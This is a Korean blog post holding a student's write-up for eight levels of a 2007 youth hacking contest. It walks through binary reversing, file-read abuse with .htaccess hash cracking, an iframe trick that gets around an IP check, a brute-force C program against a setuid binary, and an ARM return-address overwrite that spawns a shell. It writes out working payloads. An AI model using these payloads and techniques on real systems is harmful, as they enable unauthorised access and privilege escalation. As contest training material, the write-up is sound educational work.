본문으로 바로가기

hkpco - 2007순천향대 보고서

category Security/보고서 2007. 8. 21. 01:21
반응형
====================================================
청소년 정보보호 페스티벌 2007 보고서
MY LAST Youth's Information Security Festival REPORT
====================================================

----------------------------------------------------
성명 >  박찬암
학교 >  남산고등학교
ID   >  hkpco
----------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LIST	   PASS TIME
level1	   2007-08-10 18:04:41
level2	   2007-08-10 18:55:26
level3	   2007-08-10 19:19:52
level4	   2007-08-10 22:21:22
level5	   2007-08-10 22:43:05
level6	   2007-08-10 23:03:44
level7	   2007-08-11 04:50:40
level8	   2007-08-11 20:26:33
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


━━━━━━━━━━━
        level1
━━━━━━━━━━━

level1.exe 바이너리가 주어지며 해당 프로그램을 실행시키면 여러가지 컴퓨터 관련 문제들이 나옵니다.
문제들의 정답을 다 맞추어 답을 구하거나 아래와 같이 ollydbg를 이용하여 구할 수 있습니다.

ollydbg의 all referenced text strings 기능을 통해 문자열들을 검색하게 되면 다음과 같이 눈에띄는 부분을 볼 수 있습니다.

=====================================================================================================================
00405518   . B8 F4434000    MOV EAX,level1.004043F4                  ;  UNICODE "http://oro1.woweb.net/isfanswer.txt"
.
.
00405E94   . 68 70444000    PUSH level1.00404470                     ;  UNICODE "The next stage password is '"
=====================================================================================================================

아래의 url에 접속하면 패스워드를 얻을 수 있습니다.

-----------------------------------
http://oro1.woweb.net/isfanswer.txt
-----------------------------------

정답은, istheresomebody?





━━━━━━━━━━━
        level2
━━━━━━━━━━━

문제 웹서버에 접속하면 특정 입력값을 index.php의 인자로 줄 수 있습니다.
bruteforce로 오인 할 수도 있지만 해당 웹페이지를 80번 port를 통해 직접 요청해보면 단서가 나옵니다.

80번 port로 `GET /index.php HTTP/1.0` 라는 요청을 했을때의 결과입니다.


========================================================================================
[hkpco@ns hkpco]$ telnet 121.185.96.43 80
Trying 121.185.96.43...
Connected to 121.185.96.43.
Escape character is '^]'.
GET /index.php HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 15 Aug 2007 00:00:47 GMT
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7a PHP/5.2.1
X-Powered-By: PHP/5.2.1
Set-Cookie: hint=QnJ1dGUgRm9yY2UgQXR0YWNr; expires=Wed, 15-Aug-2007 00:01:47 GMT; path=/
Content-Length: 227
Connection: close
Content-Type: text/html



<body>
<br><br><br><br><br><br><br>
<center>

<img src=docdo.jpg>
<form method=post action=index.php>

<input type=text name=pw2 length=20>
<input type=submit value=전송>
</form>

</center>

</body>
</html>
Connection closed by foreign host.
========================================================================================

결과값에서 Set-Cookie부분을 보면 hint=QnJ1dGUgRm9yY2UgQXR0YWNr 라고 되어있는데 있는데 hint로 주어진 값은
Base64를 통해 인코딩 되어있습니다. 이 인코딩을 풀게되면 "Brute Force Attack" 라는 문자열을 얻을 수 있습니다.
해당 문자열을 index.php의 전송폼으로 주게되면 pass.zip 이라는 파일을 받을 수 있고,
압축된 pass.txt파일에 암호가 걸려 있기때문에 알집의 '암호찾기'기능을 이용해야합니다.
조금 기다리면 알집에서 암호를 찾게되고, 찾은 압축파일의 암호는 "mango" 가 됩니다.
이 암호를 이용하여 텍스트파일을 열람해 보면 niceperformance!! 라는 패스워드를 볼 수 있습니다.

정답은, niceperformance!!





━━━━━━━━━━━
        level3
━━━━━━━━━━━

문제에서 주어진 url에 접속해보니 /usr/local/apache/htdocs/level3/ 디렉토리안의 원하는 파일을 읽을 수 있었습니다.
다음과 같이 값을 주어 읽을 수 있습니다.

============================================
http://121.185.96.46/level3.php?file=[value]
============================================

../를 이용하여 상위 디렉토리로 접근하려 하였지만 필터링이 된듯 했습니다.
guessing을 통해 http://121.185.96.46/level3/ 페이지가 있다는 것을 알아내었고, apache인증에 의해 접근이 제한되었습니다.
level3.php을 이용해서 아래와 같이 .htaccess파일을 열람하여 apache의 id, password를 알아내었습니다.

==============================================
http://121.185.96.46/level3.php?file=.htaccess
==============================================

파일의 내용은 다음과 같았고 john the ripper를 통해 암호화된 패스워드를 풀었습니다.

====================
level3:8a0JcRzdxt/jA
====================

--------------------------------
[hkpco@ns run]$ cat > sch
level3:8a0JcRzdxt/jA
[hkpco@ns run]$ ./john -show sch
level3:lemon

1 password cracked, 0 left
--------------------------------

획득한 패스워드(lemon)를 이용해서 http://121.185.96.46/level3/의 아파치 인증을 통과한 뒤 아래와 같은 경로를 얻었습니다.

===================================================
/usr/local/apache/htdocs/level3/schdisepasswdlevel3
===================================================

level3.php가 있는 현재 디렉토리가 /usr/local/apache/htdocs/level3/ 이기 때문에
다음과 같이 요청하면 위의 패스워드 파일을 열람 할 수 있습니다.

========================================================
http://121.185.96.46/level3.php?file=schdisepasswdlevel3
========================================================

정답은, l1ketheoth2rs





━━━━━━━━━━━
        level4
━━━━━━━━━━━

시작하자마자 guessing으로 http://121.185.96.48/admin/admin.php 라는 숨겨진 페이지를 찾았습니다.
하지만 "접근금지" 메시지뿐이었고, 문제 페이지에 주어진 게시판을 이용하여
여러가지 시도를 해보던 중 게시판 본문에 iframe 테그사용이 가능한 것을 알아냈습니다.

다음과 같이 게시글을 작성하면 iframe테그를 사용한 서버(121.185.96.48)에서 대상 서버로 접속한것과 같게됩니다.

=========================================
<iframe src='telnet://121.185.96.48:80/'>
=========================================

글을 열람해 보니 정상적으로 iframe이 동작하였고, 문제상의 체크(ip check)를 거쳐 경고창을 출력해 주는것 같았습니다.
경고창의 내용은 다음과 같습니다.

===================
KEY: externalTELNET
===================

위의 내용을 필드값으로 처음에 찾은 숨겨진 어드민 페이지(http://121.185.96.48/admin/admin.php)에 요청하였습니다.

--------
| SEND |
-------------------------------------------------
GET http://121.185.96.48/admin/admin.php HTTP/1.1
Host: 121.185.96.48
KEY: externalTELNET
-------------------------------------------------

--------
| RECV |
--------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Thu, 09 Aug 2007 18:47:03 GMT
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7a PHP/4.4.4
X-Powered-By: PHP/4.4.4
Content-Length: 53
Content-Type: text/html

축하합니다. 패스워드는 'SCH2007FIGHTING!' 입니다.<br>
--------------------------------------------------------------------

정답은, SCH2007FIGHTING!





━━━━━━━━━━━
        level5
━━━━━━━━━━━
평소 의심이 많은 L씨는 자신이 사용하는 폴더에 암호를 걸어 놓고 암호를 잃어 버리는 걸 염려해 
인증프로그램을 만들어 사용하고 있었다. 해커 K는 L씨의 정보를 얻기 위해 시스템을 해킹하던중 
L씨가 사용하는 인증 프로그램을 획득했으데 성공하였으나 정작 중요한 패스워드는 얻을수 있었다. 
지속적인 스니핑을 통해 인증프로그램의 평문과 암호문의 쌍을 얻어 내는데 성공하는데.... 
해커 K씨가 얻은 다음 정보를 보고 L씨의 패스워드를 획득하여라. 

"apple" -> "c2c183c6ac" 
"funny computer" - > "ccd573e62f08b16fdac1ab47ac9c" 
"power overwhelming" -> "e0bdbb564e08b776cac9bb86ac1bb669dc9d" 

download this file --> http://121.185.96.82/level5.exe 
━━━━━━━━━━━

이 문제의 풀이법은 두 가지가 있습니다.
하나는 주어진 암호의 규칙을 찾아내어 복호화 하는 것이고
다른 하나는 level5.exe 바이너리에 존재하는 정답을 Reverse Engineering을 통해 알아내는 것입니다.

제가 사용한 후자의 방법을 이용한 풀이를 기술하겠습니다.
우선 ollydbg를 이용하여 level5.exe를 열어서 어셈코드를 보게되면 entry point가 일반 프로그램과는 약간 다른데,
EXEINFO PE를 통해 level5.exe가 패킹되어있는것을 확인 할 수 있습니다.

문제는 Original Entry Point를 직접 찾아가서 풀었습니다.
ollydbg을 이용해서 memory map에 있는 Owner가 level5인 영역 중 code섹션의 주소영역으로 이동합니다.
해당 섹션은 프로그램 내의 unpacking루틴이 끝난 뒤의 정상적인 entry point부분이며 시작주소는 0040D000 이고,
breakpoint를 걸고 프로그램을 실행시킨 뒤 멈추는 지점이 OEP입니다.

다른 방법으로는 패킹된 프로그램의 prologue부분에 있는 PUSHAD를 이용하는 것입니다.

================================================
0040EB28   $ 60             PUSHAD
0040EB29   . E8 4F000000    CALL level5.0040EB7D
================================================

unpack작업이 다 끝난뒤에 POPAD를 사용하여 레지스터 값을 다시 꺼내 올 것입니다.
그래서 POPAD 뒤에 breakpoint를 걸어 run하게되면 call부분에서 멈추게되는데,
그때 esp가 가리키는 주소값에( 현재 스택의 꼭대기 ) breakpoint를 걸어줍니다.

이유는, 프로그램의 루틴에서 unpacking이 다 끝난뒤에 POPAD를 이용하여 레지스터들을 꺼내오게 되는데,
이때 그 레지스터 값에 breakpoint를 걸게되면 unpack과정 뒤 entry point로 진입하기 위해 PUSH되었던 레지스터들을
POPAD로 꺼내오는 과정에서 해당 레지스터의 breakpoint로 인해 멈추게 되고, OEP진입점을 찾을 수 있기 때문입니다.

이렇게 찾은 OEP진입점은 다음과 같습니다.

OEP 진입점
====================================
0040E703   . FFD0           CALL EAX
====================================

OEP진입점의 call은 0040171D주소로 점프하며 그 주소가 OEP가 됩니다.
level5.exe 프로그램은 주어진 key에 대한 ans값을 입력받는데, 해당 결과값은( ans의 정답에 상관없이 )
MessageBox를 이용해서 출력해 주는것을 추측 할 수 있으며 함수의 근처에 다음과 같은 루틴이 있습니다.

0040110D   75 32            JNZ SHORT level5.00401141
0040110F   8D4424 08        LEA EAX,DWORD PTR SS:[ESP+8]
00401113   50               PUSH EAX
00401114   68 10A14000      PUSH level5.0040A110                     ; ASCII "ded92b27cc1bb777d2b93b024c9cb069dc"
00401119   E8 F2000000      CALL level5.00401210
0040111E   83C4 08          ADD ESP,8
00401121   8D4C24 08        LEA ECX,DWORD PTR SS:[ESP+8]
00401125   6A 00            PUSH 0
00401127   68 00A14000      PUSH level5.0040A100                     ; ASCII "password is "
0040112C   51               PUSH ECX
0040112D   55               PUSH EBP
0040112E   FF15 C0904000    CALL DWORD PTR DS:[4090C0]               ; USER32.MessageBoxA
.
.
00401141   6A 00            PUSH 0
00401143   68 F8A04000      PUSH level5.0040A0F8                     ; ASCII "#$@$^"
00401148   68 C8A04000      PUSH level5.0040A0C8                     ; ASCII "지정된 암호문이 아니거나 값이 맞지 않습니다."
0040114D   55               PUSH EBP
0040114E   FF15 C0904000    CALL DWORD PTR DS:[4090C0]               ; USER32.MessageBoxA

0040110D주소의 JNZ는 ans값이 틀리면 입력값이 맞지 않다는 메시지를 출력해 주는 00401148 주소로 점프하고,
값이 일치한다면 CALL level5.00401210 부분에서 암호화 된 패스워드를 복호화 한 뒤, MessageBoxA를 통하여 출력하게 됩니다.
그래서 JNZ명령을 JE로 바꾼 뒤에 해당 루틴을 다시 거치게 되면 다음과 같은 MessageBox로 출력된 답을 얻을 수 있습니다.

 ──────────
│ password is      │
 ──────────
│ overflowing brain│
 ──────────
│ 확인             │
 ──────────

정답은, overflowing brain





━━━━━━━━━━━
        level6
━━━━━━━━━━━

서버에는 다음과 같은 바이너리 하나가 주어졌습니다.

=====================================================
-bash-3.00$ ls -l level6
-rwxr-xr-x  1 root level6 197929  8월 10 11:31 level6
=====================================================


바이너리 덤프를 해보니 UPX로 패킹된듯 했습니다.

==================================================================
-bash-3.00$ xxd level6|more
0000000: 7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 280d c300 3400 0000  ........(...4...
0000020: 0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0000030: 0000 0000 0100 0000 0000 0000 0010 c000  ................
0000040: 0010 c000 0405 0300 0405 0300 0500 0000  ................
0000050: 0010 0000 0100 0000 9c01 0000 9c81 0a08  ................
0000060: 9c81 0a08 0000 0000 0000 0000 0600 0000  ................
0000070: 0010 0000 bf9e d079 5550 5821 dc07 0d0c  .......yUPX!....
0000080: 0000 0000 7f89 0600 7f89 0600 b400 0000  ................
.
.
==================================================================

level6을 실행하게 되면 무조건 세그먼테이션 오류가 발생하게 되는데 바이너리가 패킹되어 바로 분석하기가 힘들었습니다.
이 상태에서 이용 할 수 있는것은 세그먼테이션 오류입니다.
세그먼테이션 오류시 core파일을 생성하도록 설정해 주게되면 그때의 메모리를 덤프해 줍니다.

이를 이용해서 답을 구할 수 있습니다.

===========================================
-bash-3.00$ ./level6
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
세그멘테이션 오류 
===========================================

==========================================================
-bash-3.00$ ulimit -c unlimited
-bash-3.00$ ~/level6
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
세그멘테이션 오류 (core dumped)

-bash-3.00$ ls -al
합계 56
drwxr-xr-x  2 level6 level6   4096  8월 15 09:55 .
drwxrwxrwt  6 root   root     4096  8월 15 09:55 ..
-rw-------  1 level6 level6 172032  8월 15 09:55 core.4017

-bash-3.00$ strings core.4017
CORE
_YOU,
TH_Fs
CORE
level6
/home/level6/level6
CORE
"^"uG
"^"uG
level6
TH_F
CORE
CORE
FLINUX
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
cOreDump
SF_ARGOS_FRIENDSHIP_SCH_2007_YOUTH_FESTIVAL
Linux
localhost.localdomain
2.6.9-42.0.10.ELsmp
.
.
==========================================================

정답은, cOreDump





━━━━━━━━━━━
        level7
━━━━━━━━━━━

주어진 규칙을 이용하여 암호를 푸는 문제입니다.
서버에는 아래와 같은 디렉토리와 파일, 바이너리가 주어집니다.

dr-xr-----  2 hacker hacker   4096  8월  7 16:57 hacker
-r--r--r--  1 level7 level7   9661  8월 10 01:29 hint
-r--r--r--  1 level7 level7    629  8월 10 01:30 letter
-r-s--x--x  1 hacker level7   6728  8월  7 16:58 mondai

mondai에 setuid가 걸린것으로 보아 해당 바이너리를 공략하는 문제로 추측하고 실행해 보았습니다.

==============================
[level7@localhost ~]$ ./mondai
(화면이 clear됨)

Input Security Keyword = hkpco
key1 value= 777
key2 value= 111

(화면이 clear됨)
==============================

mondai를 실행하면 화면이 clear된 뒤 keyword값을 입력받습니다.
"hkpco"라고 입력한 뒤 엔터를 치면 key1과 key2를 입력받는데 각각 임의의 숫자 777, 111을 입력하였지만 아무 반응이 없었고,
주어진 조건을 만족해야 하는듯 했습니다.

나머지 hint와 letter파일을 보았습니다.

========================================================
[level7@localhost ~]$ cat hint
objdump -d mondai


 80484f1:       eb 69
 80484f3:       c7 45 d4 00 00 00 00
 80484fa:       eb 39
 80484fc:       8b 55 cc
 80484ff:       8b 4d d4
 8048502:       89 d0
 8048504:       c1 e0 03
 8048507:       29 d0
 8048509:       01 c8
 804850b:       c7 84 85 40 f1 ff ff
 8048512:       00 00 00 00
 8048516:       8b 55 cc
.
.
.
 8048874:       83 7d ec 00
 8048878:       0f 89 78 ff ff ff
 804887e:       c7 45 c8 00 00 00 00
 8048885:       8d 45 e8
 8048888:       ff 00
 804888a:       8b 45 e8
 804888d:       3b 45 0c

[level7@localhost ~]$ cat letter
dear user

greetings to all at oxford Many thinks for your
letter And for the summer examination pacKage
all entry orms and fees forms should be ready
for final despatch to the syndicate by fridat
2th oR the very latest Im told by the St
admin has improved here though theres room
for improvement still just giveus all two or
three more Never years and well really show you
please dont let these wretched proposals
destroy your basic V and D pattern certAinly
this soRt of changeif implemented immediately
would bring chaos Know!!

*source "silxxx wxxld xx xxcxolas qxxnn xy colin xxxtor"

PS. i know number is "101x001000000xx"
========================================================

hint파일은 mondai 바이너리의 objdump -d 결과에서 어셈블리 코드만 제거하였고,
letter파일에서 주어진 내용의 규칙을 찾아 keyword를 얻는것 같았습니다.
문제 바이너리인 mondai를 실행 시킬 때의 메모리를 덤프하여 keyword값을 알아 내었습니다.
바이너리 실행시 메모리에 맵핑된 데이터들을 추출하여 strings명령으로 살펴보았습니다.

----------------------------------------
[level7@localhost hk]$ strings mondai.hk
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
putchar
printf
system
.
.
Input Security Keyword =
key1 value=
key2 value=
clear
your good!! passwd is xxxxxx
/bin/sh
VdU)-tM7/&d-u``
.
.
----------------------------------------

암호화된 키워드값으로 의심되는 VdU)-tM7/&d-u``를 찾을 수 있었습니다.

키값은 hint파일의 기계어 코드를 어셈블리어로 변환하여 다음 부분을 주의깊게 보았습니다.

===========================================================
0x8049611 <cd+113>:     movl   $0x251abb,0xffffffb4(%ebp)
===========================================================
0x8049618 <cd+120>:     movl   $0x20965f,0xffffffe0(%ebp)
===========================================================
0x8049731 <cd+401>:     movl   $0x6e1d9f,0xffffffe4(%ebp)
===========================================================
0x804978b <cd+491>:     movl   $0x66666667,0xffffe4a4(%ebp)
===========================================================
0x80497b1 <cd+529>:     movl   $0x66666667,0xffffe4a4(%ebp)
===========================================================
0x80497e3 <cd+579>:     movl   $0x66b971,0xffffffb8(%ebp)
===========================================================

각 어셈루틴 중간중간에 key의 초기값 할당으로 의심되는 부분이 있었습니다.
여섯개의 할당값중 단 2개만이 인증을 위한 key일 것입니다.

다음과 같은 bruteforce코드를 작성하였습니다.

- brute.c -
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>

#define K "VdU)-tM7/&d-u``"

int main( void )
{
	unsigned long int hk[] = { 0x251abb , 0x20965f , 0x6e1d9f , 0x66666667 , 0x66666667 , 0x66b971 };
	int i,j;

	char atk[4096] = {0x00,};

	for( i = 0 ; i < 6 ; i++ )
	{
		for( j = 0 ; j < 6 ; j++ )
		{
			sprintf( atk , "(perl -e 'print \"%s\\n%d\\n%d\\n\"';cat)|/home/level7/mondai" , K , hk[i] , hk[j] );
			system( atk );
		}
	}
}
- End Of Code -

메모리 덤프를 통해 구한 키워드값과 초기 key값들을 문제 바이너리에 bruteforce하도록 코드를 작성하였습니다.
소스를 컴파일 뒤 실행하게되면 쉘이 떨어졌고, gid권한이 계승되지 않아 newgrp명령을 통해 새로운 gid를 획득해야 했습니다.
아래는 쉘이 떨어진 뒤 작업과정입니다.

--------------------------------------------------
newgrp
whoami
hacker
id
uid=770(hacker) gid=770(hacker) groups=500(level7)
cd /home/level7
ls
hacker  hint  letter  mondai
cd hacker
ls
PASSWD.MOTOKO
cat PASSWD.MOTOKO

수고하셨습니다!!

next passwd is "(key1*2)+key2"

고지가 멀지않았군요!! 힘네세요!
--------------------------------------------------

password로 주어진 (key1*2)+key2 수식을 따라 키값에 대한 연산을 하면 답을 구할 수 있습니다.

정답은, 11487837





━━━━━━━━━━━
        level8
━━━━━━━━━━━

arm processor상에서의 BufferOverFlow공격, 더 정확히 말하자면 Return To Library 공격입니다.
AT&T 혹은 INTEL문법만을 접하다가 ARM에서의 어셈블리를 접하다보니 생소한 감이 있었습니다.
arm문법에 관한건 인터넷에 있는 여러 자료들에 설명이 잘 되어있어 크게 어려운 점은 없었습니다.

서버에 접속하게되면 gdb_server와 level8이라는 이름의 바이너리가 있는데, gdb_server는 원격 디버깅을 위한 것이고
level8은 문제에 대한 바이너리 같았습니다. level8 바이너리를 제대로 분석하려면 원격에서 arm-linux로 컴파일 된
gdb가 있어야 하기 때문에, gdb를 받아서 다음과 같은 옵션으로 설치를 해 줍니다.

==================================================
[hkpco@ns gdb-6.6]$ ./configure --target=arm-linux
==================================================


gdbserver는 다음과 같이 사용합니다.

1: target server
==============================================================
[level8@Linux level8]$ ./gdbserver ip:port ./level8 (argument)
==============================================================

2: my server
===================================
[hkpco@ns tmp]$ ./arm-gdb -q level8
(gdb) target remote ip:port
===================================

그리고 문제서버에 rz&sz의 권한이 열려 있었기 때문에 level8 바이너리를 받아 ida에서도 분석이 가능하였습니다.
level8 바이너리는 우리가 준 값에 대한 세가지 체크를 거칩니다.
이 세가지 체크에 대한 루틴은 아래와 같습니다.

-----------------------------------------
LDR     R3, [R11,#var_20]
LDR     R2, =0x5437163
CMP     R3, R2
BNE     loc_8598

LDR     R3, [R11,#var_30]
MOVL    R2, 0x1318800
ADD     R2, R2, #0x5F
CMP     R3, R2
BNE     loc_8598

LDR     R3, [R11,#var_18]
MOVL    R2, 0xFFFFFCFF
SUB     R2, R2, #0x4000002
SUB     R2, R2, #0x1040000
CMP     R3, R2
BNE     loc_8598
-----------------------------------------


조건이 모두 일치한다면 /bin/print_3을 실행합니다.

----------------------------------
LDR     R0, =aBinPrint_3
BL      _system
; system( "/bin/print_3" );
----------------------------------


main() 함수의 시작부분에 있는 다음 두 명령을 통해 argc, argv의 저장공간을 알 수 있습니다.
R0, R1 레지스터는 각각 함수의 첫번째 인자, 두번째 인자를 뜻합니다.( 여기서는 main함수의 인자 )

-------------------------------
STR     R0, [R11,#var_10]
STR     R1, [R11,#var_14]
-------------------------------

위 instruction의 역할은 다음과 같습니다.

===========================================================
R11 + #var_10(-0x10)이 가리키는 주소값에 R0 레지스터를 저장
R11 + #var_14(-0x14)이 가리키는 주소값에 R1 레지스터를 저장
===========================================================


STR intruction에서 사용된 R11 레지스터는 prologue과정을 살펴보면 x86 linux의 ebp정도로 여길 수 있습니다.
아래는 arm과 x86환경에서의 prologue부분을 비교한 것입니다.

---------------------------------------------------------
MOV     R12, SP       ; 스택 포인터를 R12 레지스터에 저장
SUB     R11, R12, #4  ; R11 = R12 -4
---------------------------------------------------------

--------------------------------------------------------
0x08048400 <main+0>:    push   %ebp       ; esp = esp -4
0x08048401 <main+1>:    mov    %esp,%ebp  ; ebp = esp
--------------------------------------------------------


우리는 argv[1]과 stdin(표준입력)을 이용하여 값을 줄 수 있습니다.
아래는 그에대한 루틴입니다.

--------------------------------------
SUB     R3, R11, #0x30
LDR     R0, =aD
MOV     R1, R3
BL      _scanf
; scanf( "%d" , &(ebp-0x30) );
--------------------------------------
--------------------------------------
SUB     R3, R11, #0x2C
MOV     R2, #4
LDR     R1, [R11,#var_14]
; R1 = argv

ADD     R2, R2, R1
; R2 = argv +1

MOV     R0, R3
LDR     R1, [R2]
; R1 = *(argv +1)

BL      _strcpy
; strcpy( ebp-0x2C , *(argv +1) );
--------------------------------------


여러번의 디버깅과 분석 끝에 모든 조건이 일치하는 값을 찾아내었고, 다음과 같습니다.

====================================================================
./level8 `printf "AAAAAAAAAAAA\x63\x71\x43\x05AAAA\xfd\xfc\xfb\xfa"`
stdin value: 20023391
====================================================================

첫번째 체크루틴에 대한 우회값은 \x63\x71\x43\x05이고, 두번째 우회값은 표준입력으로 20023391,
마지막 세번째는 \xfd\xfc\xfb\xfa가 됩니다.

해당 값이 모두 만족하게 되면 print_5() 함수를 실행하라는 메시지를 보여주게 되는데,
이 함수를 실행하면 guru권한을 얻게 됩니다.
그러므로 프로그램의 return address를 print_5() 함수의 주소로 변조하여 주면 됩니다.

print_5() 함수의 주요 루틴은 다음과 같습니다.

--------------------------------
MOV     R0, #0x3EC
MOV     R1, #0x3EC
BL      _setregid
; setreuid( 0x3ec , 0x3ec );

LDR     R0, =aBinPrint_4
BL      _system
; system( "/bin/print_4" );

LDR     R0, =aBinSh
BL      _system
; system( "/bin/sh" );
--------------------------------

print_5() 함수의 주소는 0x00008474 이며, 리틀 엔디안 방식으로 주소값을 삽입 할 때에 끝에 null값이 2byte 차지하기 때문에
공격코드를 정확히 return address까지만 맞추어 주어야 return address의 마지막 2byte를 null값으로 유지해 주게 됩니다.
하지만, 이대로 공격하게 되면 print_5()함수가 출력되지 않고 segmentation fault가 발생하게 되는데,
공격과정에서 변조된 SP레지스터 때문에 함수 에필로그 부분이 꼬여서 segmentation fault가 발생한 것 같았습니다.
그래서 SP레지스터를 유효한 주소값으로 대체 시켜 준 뒤 payload를 만들어 공격하였습니다.

===========================================================================================================

[level8@Linux level8]$ ./level8 `printf "HKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHKHK\xac\xff\xff\xbf\x74\x84"`
Good luck to you..
Student I.D. Number : 7

password file: /home/guru/password

bash$ cat /home/guru/password

        Congraturations~!! Password is "!!Welcome to Embedded World!!"

===========================================================================================================

정답은, !!Welcome to Embedded World!!





 --------------
│  마치며..  │
 --------------

 1학년때 부터 써오던 보고서가 어느덧 세번째에 접어들어 저의 마지막 보고서가 되었네요.
 그동안 좋은 문제 내 주신 출제자 분들, 운영하시느라 고생하신 운영진분들, 그리고 대회 관계자 분들 모두 감사드립니다.
 고교생활동안 빠짐없이 참가하고 매년 입상의 기회를 안겨준 대회가 막상 마지막이라고 하니 기쁨보다 아쉬움이 더 큰것같습니다.
 매년 저에게 좋은 대회로 많은걸 배울 수 있게 해 주셔서 감사드리며 앞으로도 좋은 인연 이어나갈 수 있으면 좋겠습니다.
 이만 보고서를 마치겠습니다.
-------

이제 해코님도 졸업하시고 듀얼님도 페노님도~...

많은분들이 졸업하시네요
시스템만 제대로 공부한다면 다음년부턴 기대해봐도.....?












반응형

'Security > 보고서' 카테고리의 다른 글

7th H.U.S.T 보고서  (4) 2008.11.04
Argos2007 보고서(SlaxCore님이쓰신글)  (0) 2007.07.15
웹프록시 Paros 메뉴얼  (0) 2007.07.15
KISA 2007 보고서  (0) 2007.06.14
대덕대 해킹대회 보고서  (0) 2007.03.31